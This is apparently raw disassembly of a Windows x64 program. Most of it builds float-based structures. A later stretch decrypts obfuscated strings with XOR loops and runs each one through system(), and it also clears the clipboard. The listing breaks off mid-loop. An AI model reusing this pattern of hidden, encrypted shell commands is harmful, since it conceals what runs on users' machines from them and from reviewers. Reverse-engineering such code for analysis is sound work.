movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x19c], xmm0
call fcn.140002a30
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0xbb0]
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x1ac], xmm0
call fcn.140002a30
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0xbc0]
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x1bc], xmm0
call fcn.140002a30
movss xmm1, dword [0x14007f3f4]
lea rcx, [rbp + 0xbd0]
movss dword [rsp + 0x20], xmm1
movaps xmm3, xmm13
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x1cc], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f47c]
lea rcx, [rbp + 0xbe0]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x1dc], xmm0
movss xmm0, dword [0x14007f478]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x22c], xmm0
movss xmm0, dword [0x14007f478]
lea rcx, [rbp + 0xbf0]
movss xmm3, dword [0x14007f47c]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc00]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x23c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc10]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x24c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc20]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x25c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc30]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x26c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc40]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x27c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc50]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x28c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc60]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x29c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc70]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2dc], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2ec], xmm0
movss xmm0, dword [0x14007f3f4]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm13
lea rcx, [rbp + 0xc80]
movaps xmm1, xmm13
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xc90]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2fc], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xca0]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x37c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xcb0]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x38c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xcc0]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x39c], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xcd0]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x3ac], xmm0
movss xmm0, dword [0x14007f3f4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x40c], xmm0
jmp 0x14005f3c5
cmp eax, 2
jne 0x14005f3c5
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xce0]
movss xmm2, dword [0x14007f4e8]
movss xmm1, dword [0x14007f4e4]
movss dword [rsp + 0x20], xmm15
call fcn.140002a30
movss xmm3, dword [0x14007f460]
lea rcx, [rbp + 0xcf0]
movss xmm2, dword [0x14007f458]
movss xmm1, dword [0x14007f444]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0xbc], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f40c]
lea rcx, [rbp + 0xd00]
movss xmm2, dword [0x14007f408]
movss xmm1, dword [0x14007f3f4]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0xcc], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f41c]
lea rcx, [rbp + 0xd10]
movss xmm2, dword [0x14007f410]
movss xmm1, dword [0x14007f408]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0xdc], xmm0
call fcn.140002a30
lea rcx, [rbp + 0xd20]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0xec], xmm0
movss xmm0, dword [0x14007f4e0]
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x14007f3e8]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3f8]
lea rcx, [rbp + 0xd30]
movss xmm2, dword [0x14007f3f0]
movss xmm1, dword [0x14007f3e8]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0xfc], xmm0
call fcn.140002a30
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0xd40]
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x10c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0xd50]
movss xmm2, dword [0x14007f428]
movss xmm1, dword [0x14007f414]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x11c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f430]
lea rcx, [rbp + 0xd60]
movss xmm2, dword [0x14007f414]
movss xmm1, dword [0x14007f3f8]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x12c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f404]
lea rcx, [rbp + 0xd70]
movss xmm2, dword [0x14007f3f8]
movss xmm1, dword [0x14007f3ec]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x13c], xmm0
call fcn.140002a30
movups xmm0, xmmword [rax]
movss xmm3, dword [0x14007f404]
lea rcx, [rbp + 0xd80]
movss xmm2, dword [0x14007f3f8]
movss xmm1, dword [0x14007f3ec]
movups xmmword [rsi + 0x14c], xmm0
movss xmm0, dword [0x14007f494]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f3f8]
lea rcx, [rbp + 0xd90]
movss xmm2, dword [0x14007f3f0]
movss xmm1, dword [0x14007f3e8]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x15c], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xda0]
movaps xmm2, xmm13
movaps xmm1, xmm13
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x16c], xmm0
movss xmm0, dword [0x14007f46c]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f41c]
lea rcx, [rbp + 0xdb0]
movss xmm2, dword [0x14007f410]
movss xmm1, dword [0x14007f408]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x17c], xmm0
call fcn.140002a30
lea rcx, [rbp + 0xdc0]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x18c], xmm0
movss xmm0, dword [0x14007f450]
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x14007f3d4]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0xdd0]
movss xmm2, dword [0x14007f428]
movss xmm1, dword [0x14007f414]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x19c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f428]
lea rcx, [rbp + 0xde0]
movss xmm2, dword [0x14007f41c]
movss xmm1, dword [0x14007f410]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x1ac], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f43c]
lea rcx, [rbp + 0xdf0]
movss xmm2, dword [0x14007f418]
movss xmm1, dword [0x14007f3ec]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x1bc], xmm0
call fcn.140002a30
movss xmm2, dword [0x14007f478]
lea rcx, [rbp + 0xe00]
movss xmm1, dword [0x14007f430]
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x1cc], xmm0
call fcn.140002a30
movss xmm2, dword [0x14007f478]
movaps xmm3, xmm15
movss xmm1, dword [0x14007f430]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x1dc], xmm0
lea rcx, [rbp + 0xe10]
call fcn.140002a30
movss xmm2, dword [0x14007f488]
lea rcx, [rbp + 0xe20]
movss xmm1, dword [0x14007f448]
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x22c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0xe30]
movss xmm2, dword [0x14007f428]
movss xmm1, dword [0x14007f414]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x23c], xmm0
call fcn.140002a30
movss xmm2, dword [0x14007f478]
lea rcx, [rbp + 0xe40]
movss xmm1, dword [0x14007f430]
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x24c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xe50]
movss xmm2, dword [0x14007f470]
movss xmm1, dword [0x14007f3e0]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x25c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0xe60]
movss xmm2, dword [0x14007f428]
movss xmm1, dword [0x14007f414]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x26c], xmm0
movss xmm0, dword [0x14007f474]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm1, dword [0x14007f4b8]
lea rcx, [rbp + 0xe70]
movss xmm3, dword [0x14007f4ec]
movss xmm2, dword [0x14007f480]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm1
movss xmm1, dword [0x14007f42c]
movups xmmword [rsi + 0x27c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xe80]
movss xmm2, dword [0x14007f480]
movss xmm1, dword [0x14007f42c]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x28c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0xe90]
movss xmm2, dword [0x14007f428]
movss xmm1, dword [0x14007f414]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x29c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4a8]
lea rcx, [rbp + 0xea0]
movss xmm2, dword [0x14007f454]
movss xmm1, dword [0x14007f3f0]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2ac], xmm0
movss xmm0, dword [0x14007f4b0]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4a8]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2bc], xmm0
movss xmm2, dword [0x14007f454]
lea rcx, [rbp + 0xeb0]
movss xmm1, dword [0x14007f3f0]
call fcn.140002a30
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xec0]
movss xmm2, dword [0x14007f480]
movss xmm1, dword [0x14007f42c]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2cc], xmm0
movss xmm0, dword [0x14007f428]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xed0]
movss xmm2, dword [0x14007f480]
movss xmm1, dword [0x14007f42c]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2dc], xmm0
movss xmm0, dword [0x14007f498]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xee0]
movss xmm2, dword [0x14007f480]
movss xmm1, dword [0x14007f42c]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x2ec], xmm0
movss xmm0, dword [0x14007f4e4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f40c]
lea rcx, [rbp + 0xef0]
movss xmm2, dword [0x14007f408]
movss xmm1, dword [0x14007f3f4]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x2fc], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xf00]
movss xmm2, dword [0x14007f480]
movss xmm1, dword [0x14007f42c]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x30c], xmm0
movss xmm0, dword [0x14007f4b8]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f434]
lea rcx, [rbp + 0xf10]
movss xmm2, dword [0x14007f428]
movss xmm1, dword [0x14007f414]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x31c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f40c]
lea rcx, [rbp + 0xf20]
movss xmm2, dword [0x14007f408]
movss xmm1, dword [0x14007f3f4]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x32c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f40c]
lea rcx, [rbp + 0xf30]
movss xmm2, dword [0x14007f408]
movss xmm1, dword [0x14007f3f4]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x33c], xmm0
call fcn.140002a30
lea rcx, [rbp + 0xf40]
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x34c], xmm0
movss xmm0, dword [0x14007f488]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0xf50]
movss xmm3, dword [0x14007f440]
movaps xmm1, xmm15
movss xmm2, dword [0x14007f45c]
movups xmmword [rsi + 0x37c], xmm0
movss dword [rsp + 0x20], xmm15
call fcn.140002a30
movss xmm2, dword [0x14007f49c]
lea rcx, [rbp + 0xf60]
movss xmm1, dword [0x14007f4d4]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x38c], xmm0
call fcn.140002a30
movss xmm2, dword [0x14007f484]
lea rcx, [rbp + 0xf70]
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm15
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x39c], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xf80]
movss xmm2, dword [0x14007f480]
movss xmm1, dword [0x14007f42c]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x3ac], xmm0
movss xmm0, dword [0x14007f440]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movaps xmm3, xmm13
lea rcx, [rbp + 0xf90]
movaps xmm2, xmm15
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x40c], xmm0
movss xmm0, dword [0x14007f4d4]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
movss xmm3, dword [0x14007f4ec]
lea rcx, [rbp + 0xfa0]
movss xmm2, dword [0x14007f480]
movss xmm1, dword [0x14007f42c]
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm15
movups xmmword [rsi + 0x41c], xmm0
call fcn.140002a30
movaps xmm3, xmm15
lea rcx, [rbp + 0xfb0]
movaps xmm2, xmm15
movaps xmm1, xmm15
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x42c], xmm0
movss xmm0, dword [0x14007f49c]
movss dword [rsp + 0x20], xmm0
call fcn.140002a30
lea rcx, [rbp + 0xfc0]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x43c], xmm0
movss xmm0, dword [0x14007f414]
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x14007f4b8]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
lea rcx, [rbp + 0xfd0]
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x44c], xmm0
movss xmm0, dword [0x14007f440]
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [0x14007f4b8]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140002a30
movups xmm0, xmmword [rax]
movups xmmword [rsi + 0x45c], xmm0
cmp byte [0x14008a0c8], 0
je 0x140062b65
movss xmm1, dword [0x14007f870]
lea rcx, [rbp + 0x2d0]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x670]
mov byte [rbp - 0x68], 0
lea rcx, [rbp - 0x68]
mov rbx, rax
call fcn.14006f880
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14005f534
xor r8d, r8d
cmp edi, 2
jl 0x14005f4f3
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005f500
mov rdx, rbx
mov rcx, r10
call fcn.1400390d0
test al, al
je 0x140062b45
lea rdx, [rbp + 0x2310]
mov byte [rbp - 0x67], 0
lea rcx, [rbp - 0x67]
call fcn.140054670
mov r10, rax
cmp byte [rax + 0x5e], 0
je 0x14005f6c4
xor r8d, r8d
cmp edi, 2
jl 0x14005f685
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x14005f590
cmp r8d, 0x5f
jge 0x14005f6c4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x5f
jl 0x14005f690
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2270]
mov byte [rbp - 0x66], 0
lea rcx, [rbp - 0x66]
call fcn.1400546e0
mov r10, rax
cmp byte [rax + 0x48], 0
je 0x14005f844
xor r8d, r8d
cmp edi, 2
jl 0x14005f805
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x48
jl 0x14005f710
cmp r8d, 0x49
jge 0x14005f844
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x49
jl 0x14005f810
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14005f865
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea rdx, [rbp + 0x1488]
mov byte [rbp - 0x65], 0
lea rcx, [rbp - 0x65]
call fcn.1400545e0
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x14005f9e4
cmp edi, 2
jl 0x14005f99f
movdqa xmmword [rbp + 0x810], xmm11
xor edx, edx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x20
jl 0x14005f8b0
jmp 0x14005f9e4
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x14005f9b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1fb8]
mov byte [rbp - 0x64], 0
lea rcx, [rbp - 0x64]
call fcn.140054600
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005fb64
xor r8d, r8d
cmp edi, 2
jl 0x14005fb25
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
